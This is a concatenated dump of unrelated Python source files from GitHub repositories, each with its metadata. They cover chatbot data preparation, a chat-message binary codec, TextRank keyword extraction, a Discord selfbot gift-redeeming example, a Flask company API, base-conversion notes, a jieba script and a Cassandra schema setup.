while encode and decode:\n        if (i + 1) % 10000 == 0:\n            print(\"Bucketing conversation number\", i)\n        \n        # Get array of ids for question / answer pair\n        encode_ids = [int(id_) for id_ in encode.split()] # Get array of ids that are in the question\n        decode_ids = [int(id_) for id_ in decode.split()] # Get array of ids that are in the answer\n        \n        for bucket_id, (encode_max_size, decode_max_size) in enumerate(config.BUCKETS):\n            # find question / answer pairs that comply to bucket string length limits\n            if len(encode_ids) <= encode_max_size and len(decode_ids) <= decode_max_size:\n                data_buckets[bucket_id].append([encode_ids, decode_ids])\n                break\n        encode, decode = encode_file.readline(), decode_file.readline()\n        i += 1\n    return data_buckets\n\ndef _pad_input(input_, size):\n    \"\"\"\n    Pad a string up to maximum |size|\n    \"\"\"\n    return input_ + [config.PAD_ID] * (size - len(input_))\n\ndef _reshape_batch(inputs, size, batch_size):\n    \"\"\" \n    Create batch-major inputs. Batch inputs are just re-indexed inputs\n    TODO\n    \"\"\"\n    batch_inputs = []\n    for length_id in range(size):\n        batch_inputs.append(np.array([inputs[batch_id][length_id]\n                                    for batch_id in range(batch_size)], dtype=np.int32))\n    return batch_inputs\n\n\ndef get_batch(data_bucket, bucket_id, batch_size=1):\n    \"\"\" Return one batch to feed into the model \"\"\"\n    # only pad to the max length of the bucket\n    encoder_size, decoder_size = config.BUCKETS[bucket_id]\n    encoder_inputs, decoder_inputs = [], []\n\n    for _ in range(batch_size):\n        encoder_input, decoder_input = random.choice(data_bucket)\n        # pad both encoder and decoder, reverse the encoder\n        encoder_inputs.append(list(reversed(_pad_input(encoder_input, encoder_size))))\n        decoder_inputs.append(_pad_input(decoder_input, decoder_size))\n\n    # now we create batch-major vectors from the data selected above.\n    batch_encoder_inputs = _reshape_batch(encoder_inputs, encoder_size, batch_size)\n    batch_decoder_inputs = _reshape_batch(decoder_inputs, decoder_size, batch_size)\n\n    # create decoder_masks to be 0 for decoders that are padding.\n    batch_masks = []\n    for length_id in range(decoder_size):\n        batch_mask = np.ones(batch_size, dtype=np.float32)\n        for batch_id in range(batch_size):\n            # we set mask to 0 if the corresponding target is a PAD symbol.\n            # the corresponding decoder is decoder_input shifted by 1 forward.\n            if length_id < decoder_size - 1:\n                target = decoder_inputs[batch_id][length_id + 1]\n            if length_id == decoder_size - 1 or target == config.PAD_ID:\n                batch_mask[batch_id] = 0.0\n        batch_masks.append(batch_mask)\n    return batch_encoder_inputs, batch_decoder_inputs, batch_masks\n\n#############\n#############\n#############\n#############\n\nprint('Preparing raw data into train set and test set ...')\nlineId2LineTextDictionary = getLineId2LineTextDictionary()\nconversationsList = getConversationsList()\nquestions, answers = conversationToQuestionAnswerPairs(lineId2LineTextDictionary, conversationsList)\ncreateTrainTestEncoderDecoderDataSets(questions, answers)\n\nprint('Preparing data to be model-ready ...')\nbuild_vocab('train.enc')\nbuild_vocab('train.dec')\nconvertDatasetFilesToTokenIds('train', 'enc')\nconvertDatasetFilesToTokenIds('train', 'dec')\nconvertDatasetFilesToTokenIds('test', 'enc')\nconvertDatasetFilesToTokenIds('test', 'dec')\n\nfor i in range(1,100):\n    print (questions[i] + \"    __________   \" + answers[i])", "repo_name": "mshahriarinia/stanford_tf_for_dl_research", "sub_path": "13_02_chatbot/data.py", "file_name": "data.py", "file_ext": "py", "file_size_in_byte": 10927, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "config.DATA_PATH", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "config.DATA_PATH", "line_number": 34, "usage_type": "attribute"}, {"api_name": "config.PROCESSED_PATH", "line_number": 69, "usage_type": "attribute"}, {"api_name": "random.sample", "line_number": 72, "usage_type": "call"}, {"api_name": "config.TESTSET_SIZE", "line_number": 72, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "config.PROCESSED_PATH", "line_number": 77, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 95, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 104, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 105, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 106, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 107, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 109, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 110, "usage_type": "call"}, {"api_name": "re.split", "line_number": 112, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path", "line_number": 126, "usage_type": "attribute"}, {"api_name": "config.PROCESSED_PATH", "line_number": 126, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path", "line_number": 127, "usage_type": "attribute"}, {"api_name": "config.PROCESSED_PATH", "line_number": 127, "usage_type": "attribute"}, {"api_name": "config.THRESHOLD", "line_number": 147, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 180, "usage_type": "call"}, {"api_name": "os.path", "line_number": 180, "usage_type": "attribute"}, {"api_name": "config.PROCESSED_PATH", "line_number": 180, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 181, "usage_type": "call"}, {"api_name": "os.path", "line_number": 181, "usage_type": "attribute"}, {"api_name": "config.PROCESSED_PATH", "line_number": 181, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 182, "usage_type": "call"}, {"api_name": "os.path", "line_number": 182, "usage_type": "attribute"}, {"api_name": "config.PROCESSED_PATH", "line_number": 182, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 205, "usage_type": "call"}, {"api_name": "os.path", "line_number": 205, "usage_type": "attribute"}, {"api_name": "config.PROCESSED_PATH", "line_number": 205, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 206, "usage_type": "call"}, {"api_name": "os.path", "line_number": 206, "usage_type": "attribute"}, {"api_name": "config.PROCESSED_PATH", "line_number": 206, "usage_type": "attribute"}, {"api_name": "config.BUCKETS", "line_number": 213, "usage_type": "attribute"}, {"api_name": "config.BUCKETS", "line_number": 226, "usage_type": "attribute"}, {"api_name": "config.PAD_ID", "line_number": 239, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 248, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 249, "usage_type": "attribute"}, {"api_name": "config.BUCKETS", "line_number": 256, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 260, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 272, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 272, "usage_type": "attribute"}, {"api_name": "config.PAD_ID", "line_number": 278, "usage_type": "attribute"}]}
{"seq_id": "32612537096", "text": "\"\"\"\nGeneral Message: \n    usage:\n        GeneralMessage.encode(msg_type=GeneralMessage.LOGIN, msg_body)\n        GeneralMessage.decode(data)\n    `msg_type`：消息类型\n    `msg_body`: 消息体, 一定要是个`dict`，默认值是{}\n    `data`：需要解码的bytes数据\n    `msg_type`: \n        LOGIN 登入，  [username,password]\n        LOGOUT 登出, user_id\n        REGISTER 注册， [username,password]\n        ADD_FRIEND 发起聊天，  (str)username #朋友的用户名\n        CREATE_G 创建群， [group_name, [username, username...] ]\n        INVITE 邀请 [group_id, username]\n        SEND 发送消息 {type, target_id,  message:{type, data}}\n        QUERY_MEMBER 查询群聊用户 (int)group_id\n        LG_OK = 200 {username:}\n        REG_OK = 201 # {}\n        INITIALIZE = 202 # {friends:[username, user_id], groups[group_name, group_id], msg:[{}]}\n        LG_FAIL = 400 # (int)error_code\n        REG_FAIL = 401  # (int)error_code\n        STATUS_ADD_FRIEND = 300 # {success, error, username, user_id}\n        NEW_FRIEND = 301 {username}\n        STATUS_CREATE_G = 302   # {success, error, group_name, group_id, member:[username, user_id]}\n        ADD_TO_G = 303  # {source_username, group_id, group_name, grouup_members[]}\n        G_MEMBER = 304  # [group_id, [username, username, username ...] ]\n        STATUS_INTIVE = 305 # {success, error, group_id, group_name, group_members[]}\n        NEW_MEMBER = 306 # {source_username, group_id, group_name, target_username}\n        PASS = 100  # {is_private, time, source_username, target_username, type, data} \n        KICK = 500 \n        GENERAL_ERROR = 501 # str\n\n\"\"\"\n\nimport struct\nfrom PIL import Image\nimport base64\nimport io\nfrom common.utils import long_to_bytes, Buffer\nfrom datetime import datetime\n\n\nLOGIN = 1\n\nREGISTER = 2\n\nADD_FRIEND = 3\n\nCREATE_G = 4\nINVITE = 5\n# group_id, username\nSEND = 6\n\nQUERY_MEMBER = 7\n\nLOGOUT = 10\n#\n# server\n#\nLG_OK = 200\n\nREG_OK = 201\n\nINITIALIZE = 202\n\n\nLG_FAIL = 400\n\nREG_FAIL = 401\n\n\nSTATUS_ADD_FRIEND = 300\n\nNEW_FRIEND = 301\nSTATUS_CREATE_G = 302\n\nADD_TO_G = 303\n\nG_MEMBER = 304\n\nSTATUS_INVITE = 305\nNEW_MEMBER = 306\n\nPASS = 100\n\nKICK = 500\nGENERAL_ERROR = 501\n\n\nMessageType=[LOGIN, LOGOUT, REGISTER, ADD_FRIEND, CREATE_G, INVITE, SEND, QUERY_MEMBER, LG_OK, \n    REG_OK, INITIALIZE, LG_FAIL, REG_FAIL, STATUS_ADD_FRIEND, NEW_FRIEND, STATUS_CREATE_G, ADD_TO_G, G_MEMBER,\\\n    PASS, KICK, GENERAL_ERROR]\n\ndef _get_msg_type_by_value(value):\n    pass\n\nTYPE_TO_BYTES = {\n    'int':1,\n    'str':2,\n    'list':3,\n    'dict':4,\n    'bool':5,\n    'bytes':6,\n    'datetime': 7\n} \n\n\n\n\n\n\n\ndef encode_any_type(data):\n    '''\n        input `value`, output `value type` 1byte+`value length` 4 byte + `value in bytes` \n    '''\n    b = bytes()\n    value_type = TYPE_TO_BYTES[type(data).__name__]     \n    b += bytes([value_type])    # 1个字节 \n    bytes_value = TYPE_TO_ENCODE_FUNCTION[type(data).__name__](data)\n    value_length = len(bytes_value)\n    b += struct.pack('!L', value_length)\n    b += bytes_value\n    return b\ndef encode_dict(data):\n    b = bytes()\n    for key, value in data.items():\n       # print(\"key length of key %s is %d, %s\" %(key, len(key), bytes([len(key)])) )\n        # key length 1 bytes + key + value type 1 bytes + value length 4 bytes + value \n        bytes_body = encode_any_type(value)  #return value type+value length + value\n        #print(\"body: %s, body bytes:\" % value)\n       # print(bytes_body)\n        b += bytes([len(key)])\n        b += key.encode(encoding=\"utf-8\")  #str\n        b += bytes_body      \n    return b\n\ndef encode_str(data):\n    #print(\"encode string\")\n    b = data.encode(encoding = \"utf-8\")\n    return b\ndef encode_int(data):\n    #print(\"encode int\")\n    b = long_to_bytes(data)\n   # b = bytes([data])\n    return b\n\ndef encode_bool(data):\n    #print(\"encode bool\")\n    b = bytes([1 if data else 0])\n    return b\n\ndef encode_list(data):\n    #print(\"encode list\")\n    b = bytes()\n    for i in data:\n        b += encode_any_type(i)\n    return b\ndef encode_bytes(data):\n    return data\n\ndef encode_datetime(data):\n    return encode_int(int(data.timestamp()))\n\ndef encode(msg_type, msg_body={}):\n    assert(msg_type in MessageType)\n    msg_body_to_bytes = encode_any_type(msg_body)\n    return struct.pack('!L', msg_type)+ msg_body_to_bytes\n\n\ndef decode_int(data):\n    return int.from_bytes(data, 'big')\ndef decode_str(data):\n    return data.decode(encoding='utf-8')\ndef decode_dict(data):\n    buffer = Buffer(data)\n    ret = {}\n    while not buffer.is_empty():\n        len_key = buffer.read(1)\n        key = buffer.read(len_key[0])\n        body_type = buffer.read(1)[0]     # value type\n        body = buffer.read(int.from_bytes(buffer.read(4), byteorder='big')) # value length\n        body = decode_any_type(body, body_type)   # value\n        ret[key.decode()] = body\n    return ret\ndef decode_list(data):\n    buffer =  Buffer(data)\n    ret = []\n    while not buffer.is_empty():\n        #value type length value\n        val_type = buffer.read(1)[0] #val type是个字节\n        val = buffer.read(int.from_bytes(buffer.read(4),'big'))\n        val = decode_any_type(val, val_type)\n        ret.append(val)\n    return ret\ndef decode_bytes(data):\n    return data\ndef decode_bool(data):\n    return True if data[0] else False\n\ndef decode_datetime(data):\n    return datetime.fromtimestamp(decode_int(data))\n\ndef decode_any_type(data, type):\n    return TYPE_TO_DECODE_FUNCTION[type](data)\n\n\n\ndef decode(data):\n#    print(data)\n    ret={}\n    buffer = Buffer(data)\n    msg_type = int.from_bytes(buffer.read(4),'big')\n    ret['msg_type'] = msg_type\n    t = buffer.read(1)[0]\n    buffer.read(4)\n    ret['msg_body'] = decode_any_type(buffer.read_all(),t)\n    return ret\nTYPE_TO_ENCODE_FUNCTION = {\n    'int': encode_int,\n    'str': encode_str,\n    'list': encode_list,\n    'dict': encode_dict,\n    'bool': encode_bool,\n    'bytes': encode_bytes,\n    'datetime': encode_datetime\n}\nTYPE_TO_DECODE_FUNCTION = [\n    decode_int, #填充0\n    decode_int,\n    decode_str,\n    decode_list,\n    decode_dict,\n    decode_bool,\n    decode_bytes,\n    decode_datetime\n]\n'''\na = {'key':1, 'ksds':2}\nprint(type(a).__name__)\nprint(encode_dict(a))\n\nb = [1,2,3,4]\nprint(type(b).__name__) \nc =12412563451263\nprint(type(c).__name__)\nd = 'sdsdsdjkajskjk'\nprint(type(d).__name__)\ne = True\nprint(type(e).__name__)\nwith open('../../test.png',\"rb\") as image_file:\n    image = image_file.read()\n    img = bytes(image)\n    print(type(img).__name__)\nio = io.BytesIO(img)\nimg = Image.open(io)\nimg.show()\n'''", "repo_name": "sillywutong/simple-chat-room", "sub_path": "common/message/GeneralMessage.py", "file_name": "GeneralMessage.py", "file_ext": "py", "file_size_in_byte": 6514, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "struct.pack", "line_number": 123, "usage_type": "call"}, {"api_name": "common.utils.long_to_bytes", "line_number": 145, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 169, "usage_type": "call"}, {"api_name": "common.utils.Buffer", "line_number": 177, "usage_type": "call"}, {"api_name": "common.utils.Buffer", "line_number": 188, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 203, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 203, "usage_type": "name"}, {"api_name": "common.utils.Buffer", "line_number": 213, "usage_type": "call"}]}
{"seq_id": "33554545508", "text": "# -*-coding:UTF-8 -*-\r\nfrom transformers import BertTokenizer\r\nimport json\r\nimport random\r\nimport torch\r\nfrom torch.utils.data import TensorDataset\r\n\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nfrom sklearn.preprocessing import normalize\r\nimport numpy as np\r\nfrom nltk.corpus import stopwords\r\nfrom nltk.tokenize import sent_tokenize, word_tokenize\r\nimport nltk\r\nnltk.download('stopwords')\r\n\r\ndef LoadJson(filepath):\r\n    with open(filepath, 'r', encoding='utf-8') as f:\r\n        AllData = json.load(f)\r\n    return AllData\r\n\r\n\r\ndef convert_data_to_context(filepath, dataset):\r\n    DRCD = LoadJson(filepath)\r\n    tokenizer = BertTokenizer(vocab_file='bert-base-uncased-vocab.txt')\r\n\r\n    # context_tokens = []\r\n    # context_loss_tokens = []\r\n    sample = []\r\n    keyword_tokens = []\r\n\r\n    # BertForMaskedLM\r\n    for data in DRCD[\"data\"]:\r\n        for paragraph in data[\"paragraphs\"]:\r\n            context = paragraph[\"context\"]\r\n            little_context = context[:128]\r\n            sample.append(little_context)\r\n\r\n    index = round(len(sample)*0.25)\r\n    if dataset == \"test1\":\r\n        small_sample = sample[:index]\r\n    elif dataset == \"test2\":\r\n        small_sample = sample[index:index*2]\r\n    elif dataset == \"test3\":\r\n        small_sample = sample[index*2:index*3]\r\n    else:\r\n        small_sample = sample[index*3:]\r\n\r\n    for c in small_sample:\r\n        # c_c = conversion_context(c, tokenizer, context_loss_tokens)\r\n        k = context_keyword(c)\r\n        # context_tokens.append(c_c)\r\n        keyword_tokens.append(k[0])\r\n\r\n    # return context_tokens\r\n\r\n    return keyword_tokens\r\n\r\ndef context_keyword(context):\r\n    result = TextRank().get_keyword(context)\r\n    keyword = result[0]\r\n    \r\n    return keyword\r\n\r\n\r\nclass SentenceTokenizer(object):\r\n    def __init__(self):\r\n        self.stopwords = set(stopwords.words('english'))\r\n\r\n    def get_tokens(self, sentences):\r\n        # tokens = tokenizer.tokenize(sentences)  # word_piece_list\r\n\r\n        tokens = word_tokenize(sentences)\r\n\r\n        # 이건 불용어 빼주는 작업\r\n        tr_tk = []\r\n\r\n        for w in tokens:\r\n            if w not in self.stopwords:\r\n                tr_tk.append(w)\r\n\r\n        return tr_tk\r\n\r\nclass GraphMatrix(object):\r\n    def __init__(self):\r\n        self.tfidf = TfidfVectorizer()\r\n        self.cnt_vec = CountVectorizer()\r\n        self.graph_sentence = []\r\n\r\n    def build_words_graph(self, sentence):\r\n        cnt_vec_mat = normalize(self.cnt_vec.fit_transform(sentence).toarray().astype(float), axis=0)\r\n        vocab = self.cnt_vec.vocabulary_\r\n        return np.dot(cnt_vec_mat.T, cnt_vec_mat), {vocab[word] : word for word in vocab}\r\n\r\n\r\nclass Rank(object):\r\n    def get_ranks(self, graph, d=0.85): # d = damping factor\r\n        A = graph\r\n        matrix_size = A.shape[0]\r\n        for id in range(matrix_size):\r\n            A[id, id] = 0 # diagonal 부분을 0으로\r\n            link_sum = np.sum(A[:,id]) # A[:, id] = A[:][id]\r\n            if link_sum != 0:\r\n                A[:, id] /= link_sum\r\n            A[:, id] *= -d\r\n            A[id, id] = 1\r\n\r\n        B = (1-d) * np.ones((matrix_size, 1))\r\n        ranks = np.linalg.solve(A, B) # 연립방정식 Ax = b\r\n        return {idx: r[0] for idx, r in enumerate(ranks)}\r\n\r\n\r\nclass TextRank(object):\r\n    def get_keyword(self, text, word_num=1):\r\n        tokenizer = BertTokenizer(vocab_file='bert-base-uncased-vocab.txt')\r\n\r\n        tokens = SentenceTokenizer().get_tokens(text)\r\n        words_graph, idx2word = GraphMatrix().build_words_graph(tokens)\r\n\r\n        rank = Rank()\r\n        rank_idx = rank.get_ranks(words_graph)\r\n        sorted_rank_idx = sorted(rank_idx, key=lambda k: rank_idx[k], reverse=True)\r\n\r\n        keywords = []\r\n        index = []\r\n        for idx in sorted_rank_idx[:word_num]:\r\n            index.append(idx)\r\n\r\n        for idx in index:\r\n            # keywords.append(idx2word[idx])\r\n            t = tokenizer.tokenize(idx2word[idx])\r\n            keywords.append(t)\r\n\r\n\r\n        # print(keywords)\r\n        return keywords", "repo_name": "hyejinhyun/NLPG_bert", "sub_path": "BertForMaskedLM/keyword_list.py", "file_name": "keyword_list.py", "file_ext": "py", "file_size_in_byte": 4096, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "nltk.download", "line_number": 15, "usage_type": "call"}, {"api_name": "json.load", "line_number": 19, "usage_type": "call"}, {"api_name": "transformers.BertTokenizer", "line_number": 25, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 68, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 68, "usage_type": "name"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 73, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 86, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.CountVectorizer", "line_number": 87, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.normalize", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.linalg.solve", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 109, "usage_type": "attribute"}, {"api_name": "transformers.BertTokenizer", "line_number": 115, "usage_type": "call"}]}
{"seq_id": "29828693576", "text": "import selfbotUtils\nimport asyncio\n\n\nasync def main():\n    print(\n        await client.redeem_gift(\"avbc\")\n    )  # Redeems a discord gift; (Nitro); might raise exceptions.\n\n    await client.close()\n\n\nclient = selfbotUtils.Client(\"token\")\nasyncio.run(main())\n", "repo_name": "adam757521/selfbotUtils", "sub_path": "examples/redeemer.py", "file_name": "redeemer.py", "file_ext": "py", "file_size_in_byte": 259, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "71", "api": [{"api_name": "selfbotUtils.Client", "line_number": 13, "usage_type": "call"}, {"api_name": "asyncio.run", "line_number": 14, "usage_type": "call"}]}
{"seq_id": "550542772", "text": "\"\"\"\nWrite a program that performs base conversion. The input is a string, an integer b_1, and another\ninteger b_2. The string represents an integer in base b_1. The output should be the string \nrepresenting the integer in base b_2. Assume 2 <= b_1, b_2 <= 16. \n\nUse A to represent 10, B for 11, etc. and F for 16.\n\nSolution. We convert a string in base b_1 to integer type using a sequence of multiply and\nadds. Then we convert that integer type to a string in base b_2 using a sequence of mod and divs.\n\nExample. str = \"615\", b_1 = 7, b_2 = 13.\nThen expressed in decimal, str has value 306. The least significant digit of the result is \n306 mod 13 = 7, then 306 / 13 = 23. Next digit is 23 mod 13 = 10, which is 1, then\n23 / 13 = 1. Since 1 mod 13 = 1 and 1/13 = 0, the final digit is 1.\n\"\"\"\nimport functools\ndef convert_base(num_as_string, b1, b2):\n    def construct_from_base(num_as_int, base):\n        return ('' if num_as_int == 0 else\n                construct_from_base(num_as_int // base, base) +\n                string.hexdigits[num_as_int % base].upper())\n\n    is_negative = num_as_string[0] == '-'\n    num_as_int = functools.reduce(\n            lambda x, c: x * b1 + string.hexdigits.index(c.lower()),\n            num_as_string[is_negative:], 0)\n\n    return ('-' if is_negative else '') + ('0' if num_as_int == 0 else construct_from_base(num_as_int, b2))\n\n", "repo_name": "RootofalleviI/Python-algo", "sub_path": "notes/6.2 base_conversion.py", "file_name": "6.2 base_conversion.py", "file_ext": "py", "file_size_in_byte": 1367, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "functools.reduce", "line_number": 24, "usage_type": "call"}]}
{"seq_id": "71896645351", "text": "from ltp.settings import *\nimport jieba\nwith open('r.txt','w+',encoding='utf-8') as f:\n        for i,item in enumerate(comment_collection.find({'baidu_result': {'$ne': None}})):\n            if i%100==0:\n                print(i)\n            baidu_result = item['baidu_result']\n            if baidu_result == 'error':\n                continue\n            for it in baidu_result:\n                if len(it[1]) == 0:\n                    it = [itt for itt in jieba.cut(it[0])]\n                if len(it) != 2:\n                    continue\n                f.write('-'.join(it)+'-'+str(item['score']))\n                f.write('\\n')\n            f.flush()\n", "repo_name": "xudaashuai/ChanXueYanCrawl", "sub_path": "test_re.py", "file_name": "test_re.py", "file_ext": "py", "file_size_in_byte": 647, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "jieba.cut", "line_number": 12, "usage_type": "call"}]}
{"seq_id": "28378901971", "text": "from flask import Flask, jsonify\nfrom flask_cors import CORS\nfrom companyupdater import CompanyUpdater\n\n# Initialize the Flask app.\napplication = Flask(__name__)\n\n# Only allow requests from React app.\nCORS(application, resources={r\"/*\": {\"origins\": \"*\"}})\n\n# Update interval is 5 minutes.\n# 5 minutes to seconds is 5 * 60 = 300.\ncompanyUpdater = CompanyUpdater(interval=300)\n\n# Sanity check.\n@application.route('/')\ndef index():\n    return 'We are live.'\n\n# Add error handling and 404.\n@application.route('/companies', methods=['GET'])\ndef companies():\n    companies = companyUpdater.companies\n    return jsonify({'data': companies})\n\n# Add error handling and 404.\n@application.route('/symbol/', methods=['GET'])\ndef symbol(symbol):\n    try:\n        company = next(company for company in companyUpdater.companies if company['symbol'] == symbol)\n        return jsonify({'data': company})\n    except:\n        return 'No Symbol: ' + symbol, 404\n\nif __name__ == '__main__':\n    application.run(threaded=True)\n", "repo_name": "bojanstef/cannastockcap-backend", "sub_path": "application.py", "file_name": "application.py", "file_ext": "py", "file_size_in_byte": 1020, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "flask.Flask", "line_number": 6, "usage_type": "call"}, {"api_name": "flask_cors.CORS", "line_number": 9, "usage_type": "call"}, {"api_name": "companyupdater.CompanyUpdater", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 24, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 31, "usage_type": "call"}]}
{"seq_id": "41392379586", "text": "import cassandra as cas\nimport cassandra.cluster\nimport cassandra.query\nimport cassandra.auth\nimport cassandra.policies\nfrom .config import config_ev_cql\nimport gc\n\n\nclass CqlConn:\n    def __init__(self):\n        \"\"\" connect to Cassandra cluster \"\"\"\n        # connect to cluster\n        self.cluster = cas.cluster.Cluster(\n            contact_points=config_ev_cql[\"nodes\"].split(\",\"),\n            port=config_ev_cql[\"port\"],\n            protocol_version=5,\n            idle_heartbeat_interval=0,\n            load_balancing_policy=cas.policies.RoundRobinPolicy(),\n            reconnection_policy=cas.policies.ConstantReconnectionPolicy(\n                delay=30., max_attempts=None),\n            # auth_provider=cas.auth.PlainTextAuthProvider(\n            #     username=config_ev_cql[\"username\"],\n            #     password=config_ev_cql[\"password\"])\n        )\n        # open an connection\n        self.session = self.cluster.connect(\n            wait_for_all_pools=False)\n        # disable query timeout (`ResponseFuture.result()`, `cas.ReadTimeout`)\n        self.session.default_timeout = None\n        # create keyspace and its tables IF NOT EXISTS\n        _cas_init_tables(self.session, config_ev_cql[\"keyspace\"], False)\n        # set `USE keyspace;`\n        self.session.set_keyspace(config_ev_cql[\"keyspace\"])\n\n    def get_session(self) -> cas.cluster.Session:\n        return self.session\n\n    def shutdown(self) -> None:\n        self.session.shutdown()\n        self.cluster.shutdown()\n        gc.collect()\n        pass\n\n\ndef _isvalid_keyspace_name(keyspace: str) -> bool:\n    \"\"\" helper function for `_cas_init_tables` \"\"\"\n    try:\n        if keyspace.islower():\n            if keyspace.isalpha():\n                return True\n    except Exception:\n        pass\n    return False\n\n\ndef _cas_init_tables(session: cas.cluster.Session,\n                     keyspace: str,\n                     reset: bool = False) -> None:\n    \"\"\" Initialize the CQL keyspace and tables for the new dataset.\n        (only called in `CqlConn`)\n    Parameters:\n    -----------\n    session : cas.cluster.Session\n        A Cassandra Session object, i.e., an existing DB connection.\n    keyspace : str\n        The CQL KEYSPACE. Must be a string of lower case letters.\n        Use the dataset name as keyspace.\n    reset : bool (Default: False)\n        Flag to delete and recreate the keyspace\n    Notes:\n    ------\n    The `lemma` is used as partition key for `GROUP BY` and `WHERE` clauses,\n    i.e., we can only query the whole data partion for a lemma.\n    Parameters:\n    -----------\n    keyspace : str\n        The CQL KEYSPACE. Must be a string of lower case letters.\n        Use the dataset name as keyspace.\n    reset : bool (Default False)\n        Will drop keyspace in CQL\n    \"\"\"\n    # check input arguments\n    if not _isvalid_keyspace_name(keyspace):\n        msg = (f\"keyspace='{keyspace}' is not valid. \"\n               \"Please use lower case letters\")\n        raise Exception(msg)\n\n    # drop keyspace\n    if reset:\n        session.execute(f\"DROP KEYSPACE IF EXISTS {keyspace};\")\n\n    # create a keyspace for the dataset\n    session.execute(f\"\"\"\n    CREATE KEYSPACE IF NOT EXISTS {keyspace}\n    WITH REPLICATION = {{\n        'class': 'SimpleStrategy',\n        'replication_factor': 1\n    }};\n    \"\"\")\n\n    # Table with pre-computed features\n    session.execute(f\"\"\"\n    CREATE TABLE IF NOT EXISTS {keyspace}.tbl_features (\n      headword  TEXT\n    , example_id UUID\n    , sentence  TEXT\n    , sent_id   UUID\n    , spans    frozen>>>\n    , annot    TEXT\n    , biblio   TEXT\n    , license  TEXT\n    , score    FLOAT\n    , feats1   frozen>\n    , feats2   frozen>\n    , feats3   frozen>\n    , feats4   frozen>\n    , feats5   frozen>\n    , feats6   frozen>\n    , feats7   frozen>\n    , feats8   frozen>\n    , feats9   frozen>\n    , feats12  frozen>\n    , feats13  frozen>\n    , feats14  frozen>\n    , hashes15  frozen>\n    , hashes16  frozen>\n    , hashes18  frozen>\n    , PRIMARY KEY ((headword), sentence)\n    );\n    \"\"\")\n\n    # Table for BWS-rankings annotated via the Web-App\n    session.execute(f\"\"\"\n    CREATE TABLE IF NOT EXISTS {keyspace}.evaluated_bestworst (\n      set_id  UUID\n    , user_id UUID\n    , ui_name TEXT\n    , headword          TEXT\n    , event_history     TEXT\n    , state_sentid_map  TEXT\n    , tracking_data     TEXT\n    , PRIMARY KEY(headword, set_id)\n    );\n    \"\"\")\n\n    # Table for the interactivity convergence data\n    session.execute(f\"\"\"\n    CREATE TABLE IF NOT EXISTS {keyspace}.interactivity_convergence (\n      episode_id  UUID\n    , training_score_history  frozen>\n    , model_score_history     frozen>\n    , displayed               frozen>\n    , user_id       UUID\n    , sentence_text TEXT\n    , headword      TEXT\n    , PRIMARY KEY(headword, sentence_text, episode_id)\n    );\n    \"\"\")\n    pass\n\n    # Table for the model weights\n    session.execute(f\"\"\"\n    CREATE TABLE IF NOT EXISTS {keyspace}.model_weights (\n      user_id     UUID\n    , updated_at  TIMESTAMP \n    , weights     TEXT\n    , PRIMARY KEY(user_id, updated_at)\n    ) WITH CLUSTERING ORDER BY (updated_at DESC);\n    \"\"\")\n    pass\n", "repo_name": "satzbeleg/evidence-restapi", "sub_path": "app/cqlconn.py", 